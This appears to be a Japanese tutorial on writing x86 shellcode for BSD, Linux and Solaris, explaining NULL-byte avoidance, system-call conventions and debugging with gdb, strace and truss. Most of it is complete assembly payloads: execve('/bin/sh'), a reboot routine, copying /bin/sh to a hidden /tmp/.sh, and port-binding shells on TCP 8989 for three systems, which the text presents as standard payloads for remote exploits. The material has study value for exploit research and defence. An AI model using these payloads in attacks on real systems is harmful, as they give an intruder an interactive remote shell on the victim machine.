本サイトはプロモーションを含みます。

x86 shellcode programming

はじめに

x86で動作するshellcodeプログラミングについて解説します。対象オペレーティングシステムはNetBSD, FreeBSD, OpenBSD, GNU/Linux, Solarisです。

すべての環境において、コンパイラはGCC(GNU Compiler Collection)を使用します。GCCを使用するため、AT&T System V/386の文法に従って記述します。

MASMやNASMでのコーディングに慣れているのであれば、オペランドが逆になることに注意する必要があります。AT&TとIntelでは、以下のようにオペランドが逆になります。

AT&T表記 movl $1, %eax
Intel表記 mov eax, 1

NULLバイトの問題

バッファオーバーフローのような文字列のオーバーランがバグの原因である場合、shellcodeにNULLバイトを入れる事が出来ない場合がありす。

たとえばstrcpy(3)のような文字列操作関数は文字列の終端がNULLである事を前提にして動作するため、途中にNULLバイトが存在すると全てのshellcodeを送り込む事ができなくなります。

そのため、次のようなコードは問題となります。

movl $0x66, %eax  # b8 66 00 00 00

NULLを含まないようにするには、代わりに次のようにします:

movb $0x66, %al   # b0 66

文字列をNULLで終わらせる必要がある場合”movb $0x0, %ax”のように記述することは控えた方が良いでしょう。この場合0x0という数値を使用してるので、NULLバイトを生成していまいます。そのため、次のように”xorl %eax, %eax”でレジスタ内の数値を0にしてからデータを移動させます。これならばNULLバイトを生成する事はありません。

jmp foo2
foo1:
popl %esi
xorl %eax, %eax
movb %al, 0xa(%esi)
foo2:
call foo1
.string "hoge hoge!"

この手法は文字列の先頭アドレスを取得する手法としてもよく用いられます。古典的なexecve()を呼び出すshellcodeはこの手法をとっています。しかし、ここから先はこの手法でなくスタックに文字列を配置する手法をとります。

スタックへ文字列を配置する手法

この手法は文字コードをpushしてスタックに文字列を配置します。たとえば”//bin/sh”を例にすると、これは 0x2f2f62696e2f7368 となりす。”/”を2つ入れているのはサイズ調整のためです。これで丁度8文字(8バイト)となるので4バイトずつに区切る事ができます。これからンプルとして出てくるコードでは次のようにして、スタック上に文字列を作成しています。

pushl $0x68732f6e
pushl $0x69622f2f

システムコールの呼び出し

我々がC言語でシステムコールの呼び出しを行なう際にはシステムコールに対応するラッパー関数を呼び出します。これはシステムコールがカーネル空間で実行されるため、カーネルへジャンプする方法がアーキテクチャに依存するというのが理由のひとつにあります。
システムコールを直接呼び出す方法はアーキテクチャとOSに依存します。これから記述するアセンブリコードでは例外を除いて int $0x80命令を実行します。この命令を実行するのは*BSDとLinuxです。Solarisは割り込み命ではなくてlcall命令というコールゲートを使用します。lcall命令にはいくつかの問題があるのですがこれは後述します。共通しているのは%eaxにシステムコール番号を設定するということです。引数に関してはこれも実装依存で、Linuxではレジスタに引数を設定するのに対して*BSDとSolarisはスタックに引数をpushしてシステムコールを呼び出します。

BSD

BSD系は同じコードから派生しているため、基本的には同じshellcodeで動作します。ただし派生後に実装されたシステムコールに関してはシステムコール番号が異なる可能性があるため注意が必要です。

NetBSD – reboot

NetBSDでシステムコールを呼ぶには、引き数をスタックにpushしてから%eaxにシステムコール番号をセットしてint $0x80命令を実行します。システムコール番号は/usr/include/sys/sy-scall.hで定義されています。手始めに簡単な例としてシステムのリブートを実行するshellcodeの作成を行います。上手く行けばシステムはリブートするでしょう。

# system reboot

.text
.globl main

main:
xorl %eax, %eax
pushl %eax
pushl %eax
movb $208, %al
pushl %eax
int $0x80

上記のアセンブリコードをコンパイルして実行するには次のようにします。

# cc x86_nbsd_reboot.s
# ./a.out
syncing disks… 3 done
rebooting…

NetBSD – execve

exploit作成の際、最も使われるshellcodeは”/bin/sh”を呼び出すものです。このサンプルコードはexecve(2)を使って”/bin/sh”を起動させています。

.text
.globl main

main:
xorl  %eax, %eax
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl  %esp, %ebx
pushl %eax
pushl %ebx
leal  (%esp), %ecx
pushl %eax
pushl %ecx
pushl %ebx
movb  $59, %al
pushl %eax
int   $0x80

NetBSD – Port Binding Shellcode

以下はTCPポート番号8989で待ち受けるアセンブリコードです。*BSDでは通常のシステムコールと同様にソケットシステムコールを使用できます。特定のポートで待ち受けて”/bin/sh”を実行するshelllcodeはremote exploitでよく使われます。

# port binding shellcode for NetBSD(x86)
# bind port 8989(TCP)

.text
.globl main

main:
xorl %eax, %eax
pushl %eax
incb %al
pushl %eax
incb %al
pushl %eax
movb $0x61, %al
pushl %eax
int $0x80
movl %eax, %ecx
xorl %ebx, %ebx
xorl %eax, %eax
pushl %eax
pushl %eax
pushl %eax
movw $0x1d23, %ax
push %ax
movb $0x2, %bl
push %bx
leal (%esp), %eax
movb $0x10, %bl
pushl %ebx
pushl %eax
pushl %ecx
xorl %eax, %eax
movb $104, %al
pushl %eax
int $0x80
xorl %ebx, %ebx
incb %bl
pushl %ebx
pushl %ecx
movb $106, %al
pushl %eax
int $0x80
push %eax
push %eax
push %ecx
movb $30, %al
push %eax
int $0x80
xorl %ecx, %ecx
xorl %ebx, %ebx
movb $0x3, %cl
movb $-0x1, %bl
movl %eax, %edx
loop_dup2:
incb %bl
pushl %ebx
pushl %edx
movb $90, %al
pushl %eax
int $0x80
subb $0x1, %cl
jnz loop_dup2
xorl %eax, %eax
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp, %ebx
pushl %eax
addw $0x692d, %ax
pushl %eax
movl %esp, %ecx
xorl %eax, %eax
pushl %eax
pushl %ecx
pushl %ebx
leal (%esp), %ecx
pushl %eax
pushl %ecx
pushl %ebx
movb $59, %al
pushl %eax
int $0x80

FreeBSD – file copy

FreeBSDでもシステムコールの呼び出し方法はNetBSDと同じように、引数をスタックをpushしてから%eaxにシステムコール番号をセットしてint $0x80命令を実行します。システムコール番号は/usr/include/sys/syscall.hで定義されています。では、/bin/sh を /tmp/.sh にコピーするサンプルを例にしてみます。

.text
.globl main

main:
xorl %eax, %eax
pushl %eax
pushl $0x70632f6e
pushl $0x69622f2f
movl %esp, %ebx
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp, %ecx
pushl %eax
pushl $0x68732e2f
pushl $0x706d742f
movl %esp, %edx
pushl %eax
pushl %edx
pushl %ecx
pushl %ebx
leal (%esp), %esi
pushl %esi
pushl %esi
pushl %ebx
movb $59, %al
pushl %eax
int $0x80

GNU/Linux

Linuxはシステムコールの引き数の設定にレジスタを使用します。%eaxにシステムコール番号を設定してint $0x80命令を実行します。引き数は%ebx, %ecx, %edx, %esi, %ediとなります。システムコール番号は/usr/include/asm/unistd.hで定義されています。

Linux – execve

# execve + /bin/sh -i for GNU/Linux(x86)

.text
.globl main

main:
xorl %eax, %eax
pushl %eax
pushw $0x692d
movl %esp, %ecx
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp, %ebx
pushl %eax
pushl %ecx
pushl %ebx
leal (%esp), %ecx
movl %eax, %edx
movb $11, %al
int $0x80

Linux – Port Binding Shellcode

Linuxでソケットを扱う場合に気をつけなければならないのはsocket(2)などのシステムコールが個別に用意されていない事です。Linuxでは代わりにsocketcallを使用します。システムコール番号は0x66です。socketcallは次のように呼び出します。

socketcall(<ソケットコール番号>, <引数>)

/usr/include/linux/net.hで定義されているソケットコール番号は次の通りです。

#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */

以下はTCPポート番号8989で待ち受けるアセンブリコードです:

# port binding shellcode for Linux(x86)
# bind port 8989(TCP)

.text
.globl main

main:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
movb $0x66, %al
movb $0x1, %bl
movb $0x6, %cl
pushl %ecx
movb $0x1, %cl
push %ecx
movb $0x2, %cl
push %ecx
leal (%esp), %ecx
int $0x80
xorl %ebx, %ebx
movb $0x2, %bl
xorl %ecx, %ecx
pushl %ecx
pushl %ecx
pushl %ecx
movw $0x1d23, %cx
pushw %cx
movw %bx, %cx
pushw %cx
leal (%esp), %ecx
xorl %edx, %edx
movb $0x10, %dl
pushl %edx
pushl %ecx
pushl %eax
leal (%esp), %ecx
xorl %edx, %edx
movl %eax, %edx
xorl %eax, %eax
movb $0x66, %al
int $0x80
xorl %ebx, %ebx
movb $0x4, %bl
xorl %ecx, %ecx
movb $0x5, %cl
pushl %ecx
pushl %edx
leal (%esp), %ecx
xorl %eax, %eax
movb $0x66, %al
int $0x80
xorl %ecx, %ecx
pushl %ecx
pushl %ecx
pushl %edx
leal (%esp), %ecx
xorl %eax, %eax
movb $0x66, %al
movb $0x5, %bl
int $0x80
movl %eax, %ebx
xorl %ecx, %ecx
movb $0x3, %cl
loop_dup2:
decb %cl
movb $0x3f, %al
int $0x80
jnz loop_dup2
xorl %ebx, %ebx
xorl %eax, %eax
pushl %eax
leal (%esp), %edx
pushl %ebx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %eax
addw $0x692d, %ax
pushl %eax
movl %esp, %eax
xorl %ecx, %ecx
pushl %ecx
pushl %eax
pushl %ebx
leal (%esp),%ecx
xorl %eax, %eax
movb $0xb, %al
int $0x80

Solaris

SolarisもBSDと同様にスタックに引数をpushして%eaxにシステムコール番号をセットします。システムコール番号は/usr/include/sys/syscall.hで確認できます。Solarisが他のOSとひとつ違うのが`int $0x80’命令ではなくて`lcall $0x7, $0x0’という命令を使うということです。この命令の問題点はNULLを含んでしまうということです。以下はlcall命令をobjdumpで出力させたものです。

8048458: 9a 00 00 00 00 07 00 lcall $0x7,$0x0

lcall命令は0x9aなので”lcall $0x0007, $0x00000000″となることがわかります。NULLを含まないshellcodeを作成する必要がある場合これは問題となります。そこで、0の部分を0でない数値で埋めて後から0に書き換えるコードを作成することにします。

以下は”lcall $0xff07, $0xffffffff”を”lcall $0x0007, $0x00000000″に書き換えるアセンブリコードです。

.text
.globl main

main:
jmp fake
alt:
popl %esi
xorl %eax, %eax
movb %al, 0x06(%esi)
movl %eax, 0x01(%esi)
jmp realmain
fake:
call alt
sol_syscall:
lcall $0xff07, $0xffffffff
ret
realmain:

call alt でスタックにlcall命令のアドレスが積まれるので、mov命令で0xffの部分を0x00に上書きしています。これにより、realmain以降は call sol_syscall を実行することによって lcall $0x7, $0x0 を問題なく実行できるようになります。以下はgdbでの検証結果です。

% gdb -q a.out
(no debugging symbols found)…(gdb)
(gdb) b alt
Breakpoint 1 at 0x804845a
(gdb) r
Starting program: /home/foo/a.out
(no debugging symbols found)…(no debugging symbols found)…
Breakpoint 1, 0x804845a in alt ()
(gdb) disas alt
Dump of assembler code for function alt:
0x804845a : pop %esi
0x804845b <alt+1>: xor %eax,%eax
0x804845d <alt+3>: mov %al,0x6(%esi)
0x8048460 <alt+6>: mov %eax,0x1(%esi)
0x8048463 <alt+9>: jmp 0x8048472
End of assembler dump.
(gdb) si
0x804845b in alt ()
(gdb) x/3wx $esi
0x804846a : 0xffffff9a 0xc3ff07ff 0x2f6e6850
(gdb) si ^^^^^^^^ ^^^^^^
0x804845d in alt ()
(gdb)
0x8048460 in alt ()
(gdb) x/3wx $esi
0x804846a : 0xffffff9a 0xc30007ff 0x2f6e6850
(gdb) si ^^^^^^^^ ^^^^^^
0x8048463 in alt ()
(gdb) x/3wx $esi
0x804846a : 0x0000009a 0xc3000700 0x2f6e6850
(gdb) q ^^^^^^^^ ^^^^^^
The program is running. Exit anyway? (y or n) y
%

Solaris – execve

# execve + /bin/sh for Solaris(x86)

.text
.globl main

main:
jmp fake
alt:
popl %esi
xorl %eax, %eax
movb %al, 0x06(%esi)
movl %eax, 0x01(%esi)
jmp realmain
fake:
call alt
sol_syscall:
lcall $0xff07, $0xffffffff
ret
realmain:
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp, %ebx
pushl %eax
pushl %ebx
leal (%esp), %ecx
pushl %eax
pushl %ecx
pushl %ebx
movb $0x3b, %al
call sol_syscall

Solaris – Port Binding Shellcode

Solarisでソケットを扱うことは基本的にBSDと変わりません。いくつかの注意点を上げると、まずsocket(2)の引数であるSOCK_STREAMの値が異なることです。以下はNetBSDとSolarisでgrepを実行した結果です。

NetBSD:

% grep SOCK_ /usr/include/sys/socket.h
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#define SOCK_RDM 4 /* reliably-delivered message */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */

Solaris8:

% grep SOCK_ /usr/include/sys/socket.h
#define SOCK_STREAM NC_TPI_COTS /* stream socket */
#define SOCK_DGRAM NC_TPI_CLTS /* datagram socket */
#define SOCK_RAW NC_TPI_RAW /* raw-protocol interface */
#define SOCK_STREAM 2 /* stream socket */
#define SOCK_DGRAM 1 /* datagram socket */
#define SOCK_RAW 4 /* raw-protocol interface */
#define SOCK_RDM 5 /* reliably-delivered message */
#define SOCK_SEQPACKET 6 /* sequenced packet stream */

また、システムコールとしてdup2が実装されていないので、fcntl(2)で代用しています。
dup2は以下のCコードと等価です。

fcntl(fildes, F_DUP2FD, fildes2);

F_DUP2FDはsys/fcntl.hで9に定義されいます:

#define F_DUP2FD 9 /* Duplicate fildes at third arg */

以下はSolarisで動作するPort Binding Shellcodeです。

# port binding shellcode for Solaris(x86)
# bind port 8989(TCP)

.text
.globl main

main:
jmp fake
alt:
popl %esi
xorl %eax, %eax
movb %al, 0x06(%esi)
movl %eax, 0x01(%esi)
jmp realmain
fake:
call alt
sol_syscall:
lcall $0xff07, $0xffffffff
ret
realmain:
xorl %ebx, %ebx
pushl %eax
incb %bl
incb %bl
pushl %ebx
pushl %ebx
movb $230, %al
call sol_syscall
bind:
movl %eax, %ecx
xorl %eax, %eax
push %eax
push %eax
push %eax
movw $0x1d23, %ax
pushw %ax
pushw %bx
leal (%esp), %eax
movb $0x10, %bl
pushl %ebx
pushl %eax
pushl %ecx
xorl %eax, %eax
movb $232, %al
call sol_syscall
listen:
xorl %ebx, %ebx
incb %bl
pushl %ebx
pushl %ecx
movb $233, %al
call sol_syscall
accept:
push %eax
push %eax
push %ecx
movb $234, %al
call sol_syscall
xorl %ecx, %ecx
xorl %ebx, %ebx
movb $0x09, %bl
movl %eax, %esi
ndups:
push %ecx
push %ebx
push %esi
movb $62, %al
call sol_syscall
incb %cl
cmpb $0x03, %cl
jnz ndups
execve:
xorl %eax, %eax
pushl %eax
pushw $0x692d
movl %esp, %ebx
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp, %ecx
pushl %eax
pushl %ebx
pushl %ecx
leal (%esp), %edx
pushl %eax
pushl %edx
pushl %ecx
movb $0x3b, %al
call sol_syscall

ちょっとしたテクニック

普段使わないようなシステムコールや、いまひとつ実装方法が分からない場合に知っておくと便利なテクニックがあります。たとえばC言語でプログラムを記述してコンパイルの引き数に’-S’オプションを指定すればアセンブリコードを出力させる事ができます。また、gdb(1)を使って逆アセンブルするという方法もあります。以下のCコードを例にgdbで逆アセンブルする過程を見てみます。使用したOSはNetBSDです。

/* sock.c */
#include <sys/socket.h>

int
main(void)
{
    socket(PF_INET, SOCK_STREAM, 0);
}

アセンブリ言語でsocket(2)を使うにはどのようにすればよいのか分からない場合を想定しています。まず、コンパイルを行います。

% cc -static -o sock sock.c

次にgdbを使用して逆アセンブルを行います。

% gdb ./sock
GNU gdb 5.0nb1
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386–netbsdelf”…(no debugging symbols found)…
(gdb)
(gdb) disassemble main
Dump of assembler code for function main:
0x8048444 : push %ebp
0x8048445 <main+1>: mov %esp,%ebp
0x8048447 <main+3>: sub $0x8,%esp
0x804844a <main+6>: add $0xfffffffc,%esp
0x804844d <main+9>: push $0x0
0x804844f <main+11>: push $0x1
0x8048451 <main+13>: push $0x2
0x8048453 <main+15>: call 0x80484c8
0x8048458 <main+20>: add $0x10,%esp
0x804845b <main+23>: leave
0x804845c <main+24>: ret
0x804845d <main+25>: lea 0x0(%esi),%esi
End of assembler dump.
(gdb)

socket(2)を呼び出すまでの過程です。引き数をセットするためにスタックへpushしてからsocketを呼び出しているのが分かります。

0x804844d <main+9>: push $0x0 <— (IPPROTO_IP)
0x804844f <main+11>: push $0x1 <— (SOCK_STREAM)
0x8048451 <main+13>: push $0x2 <— (PF_INET)
0x8048453 <main+15>: call 0x80484c8

次にsocket内を見てみます。

(gdb) disassemble socket
Dump of assembler code for function socket:
0x80484c8 : mov $0x61,%eax
0x80484cd <socket+5>: int $0x80
0x80484cf <socket+7>: jb 0x80484c0 <atexit+96>
0x80484d1 <socket+9>: ret
0x80484d2 <socket+10>: mov %esi,%esi
End of assembler dump.
(gdb)

%eaxに0x61をセットしてint $0x80命令を実行しているのが分かります。0x61(97)はシステムコール番号(SYS_socket)です。この他にobjdump(1)を使用する方法もあります。
以下はobjdumpの実行結果の一部を抜粋したものです。

% objdump -d sock
08048444 :
8048444: 55 push %ebp
8048445: 89 e5 mov %esp,%ebp
8048447: 83 ec 08 sub $0x8,%esp
804844a: 83 c4 fc add $0xfffffffc,%esp
804844d: 6a 00 push $0x0
804844f: 6a 01 push $0x1
8048451: 6a 02 push $0x2
8048453: e8 70 00 00 00 call 80484c8
8048458: 83 c4 10 add $0x10,%esp
804845b: c9 leave
804845c: c3 ret
804845d: 8d 76 00 lea 0x0(%esi),%esi

080484c8 :
80484c8: b8 61 00 00 00 mov $0x61,%eax
80484cd: cd 80 int $0x80
80484cf: 72 ef jb 80484c0 <atexit+0x60>
80484d1: c3 ret
80484d2: 89 f6 mov %esi,%esi

デバッグ

通常のプログラミングと同じでデバッグは重要な作業です。最も単純で重要なデバッグは呼び出しているシステムコールが成功しているかどうかの確認です。shellcodeはシステムコールのかたまりなので、システムコールが意図している通りに実行されているのかを確認することは重要な作業です。Linuxではstrace(1)がシステムコールを追跡できて便利です。使い方は簡単で、引き数に実行するプログラムを指定するだけです(詳しくはstrace(1)を参照)。

以下はLinuxのPort Binding Shellcodeをstrace(1)で追跡したときの抜粋です。

socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8989), sin_addr=inet_addr(“0.0.0.0”)}, 16) = 0
listen(3, 5) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve(“//bin/sh”, [“//bin/sh”, “-i”], [/* 0 vars */]) = 0

表示形式は`SYSCALL=RET’となっています。これは、システムコールSYSCALLの戻り値がRETであるという事です。このRETの値が-1であればシステムコールは何らかの理由で失敗しています。また、引き数の確認も行う事が出来るので、自分の意図した引き数(特に文字列)を渡しているのか確かめる事が出来ます。BSDではktrace(1)とkdump(1)を使用してシステムコールの追跡を行う事ができます。
以下はOpenBSDでPort Binding Shell-codeを追跡したときの抜粋です。

4019 a.out CALL socket(0x2,0x1,0)
4019 a.out RET socket 3
4019 a.out CALL bind(0x3,0xdfbfd8be,0x10)
4019 a.out RET bind 0
4019 a.out CALL listen(0x3,0x1)
4019 a.out RET listen 0
4019 a.out CALL accept(0x3,0,0)
4019 a.out RET accept 4
4019 a.out CALL dup2(0x4,0)
4019 a.out RET dup2 0
4019 a.out CALL dup2(0x4,0x1)
4019 a.out RET dup2 1
4019 a.out CALL dup2(0x4,0x2)
4019 a.out RET dup2 2
4019 a.out CALL execve(0xdfbfd862,0xdfbfd84e,0)
4019 a.out NAMI “//bin/sh”

こちらも実行されたシステムコールと戻り値を確認する事ができますが、execve(2)の第2引数であるポインタ配列がどのようになっているのか確認できないのでgdb(1)で確認してみます。デバッグを容易にするために、execveの部分に”myexecve”というラベルを付けてコンパイルしたものを使用しました。

# gdb a.out
GNU gdb 4.16.1
Copyright 1996 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386-unknown-openbsd3.1″…
(no debugging symbols found)…
(gdb) disas myexecve
Dump of assembler code for function myexecve:
0x17f2 : xor %eax,%eax
0x17f4 <myexecve+2>: push %eax
0x17f5 <myexecve+3>: push $0x68732f6e
0x17fa <myexecve+8>: push $0x69622f2f
0x17ff <myexecve+13>: mov %esp,%ebx
0x1801 <myexecve+15>: push %eax
0x1802 <myexecve+16>: add $0x692d,%ax
0x1806 <myexecve+20>: push %eax
0x1807 <myexecve+21>: mov %esp,%ecx
0x1809 <myexecve+23>: xor %eax,%eax
0x180b <myexecve+25>: push %eax
0x180c <myexecve+26>: push %ecx
0x180d <myexecve+27>: push %ebx
0x180e <myexecve+28>: lea (%esp,1),%ecx
0x1811 <myexecve+31>: push %eax
0x1812 <myexecve+32>: push %ecx
0x1813 <myexecve+33>: push %ebx
0x1814 <myexecve+34>: mov $0x3b,%al
0x1816 <myexecve+36>: push %eax
0x1817 <myexecve+37>: int $0x80

この逆アセンブル結果を見るとメモリアドレス0x180eが目的の場所のようです。ここにブレークポイントを設定してプログラムを走らせます。

(gdb) b *0x180e
Breakpoint 1 at 0x180e
(gdb) r
Starting program: /tmp/a.out
(no debugging symbols found)…(no debugging symbols found)…

…ここでポート8989にtelnetで接続する…

Breakpoint 1, 0x180e in myexecve ()
(gdb)
(gdb) si
0x1811 in myexecve ()
(gdb) p/x *$ecx@3
$1 = {0xdfbfd762, 0xdfbfd75a, 0x0}
(gdb) x/s 0xdfbfd762
0xdfbfd762: “//bin/sh”
(gdb) x/s 0xdfbfd75a
0xdfbfd75a: “-i”

この結果を見ると引き数は正常に渡されているようです。OpenBSDを使用しましたが、他のBSDでも同様にしてデバッグを行なうことができます。最後に、Solarisでシステムコールを追跡するにはtruss(1)を使うことができます。以下はtrussを使用してシステムコールを追跡したときの出力の一部です。

bind(3, 0x08047BD0, 16, 488833026) = 0
listen(3, 1, 3) = 0
accept(3, 0x00000000, 0x00000000, 3) (sleeping…)
accept(3, 0x00000000, 0x00000000, 3) = 4
fcntl(4, F_DUP2FD, 0x00000000) = 0
fcntl(4, F_DUP2FD, 0x00000001) = 1
fcntl(4, F_DUP2FD, 0x00000002) = 2
execve(“//bin/sh”, 0x08047B6E, 0x00000000) argc = 2

trussはstraceに似た出力であり、引数や戻り値を確認できます。又、システムコールが失敗した場合はエラーコードも表示されます。

bind(3, 0x08047BD0, 16, 488833026) Err#125 EADDRINUSE
listen(3, 1, 3) = 0
accept(3, 0x00000000, 0x00000000, 3) (sleeping…)

テスト環境

バージョンによる何らかの相違がある可能性を考慮してテスト環境を以下に示します。

  • NetBSD 1.6.2
  • OpenBSD 3.1
  • FreeBSD 4.9
  • RedHat Linux 9
  • Solaris 8

参考文献

SunOS 5.8 Programmer’s Manual

SPARCについては次の書籍が大変参考になり楽しく読む事ができます。

古い本ですがx86アセンブラは次の書籍が大変おすすめです。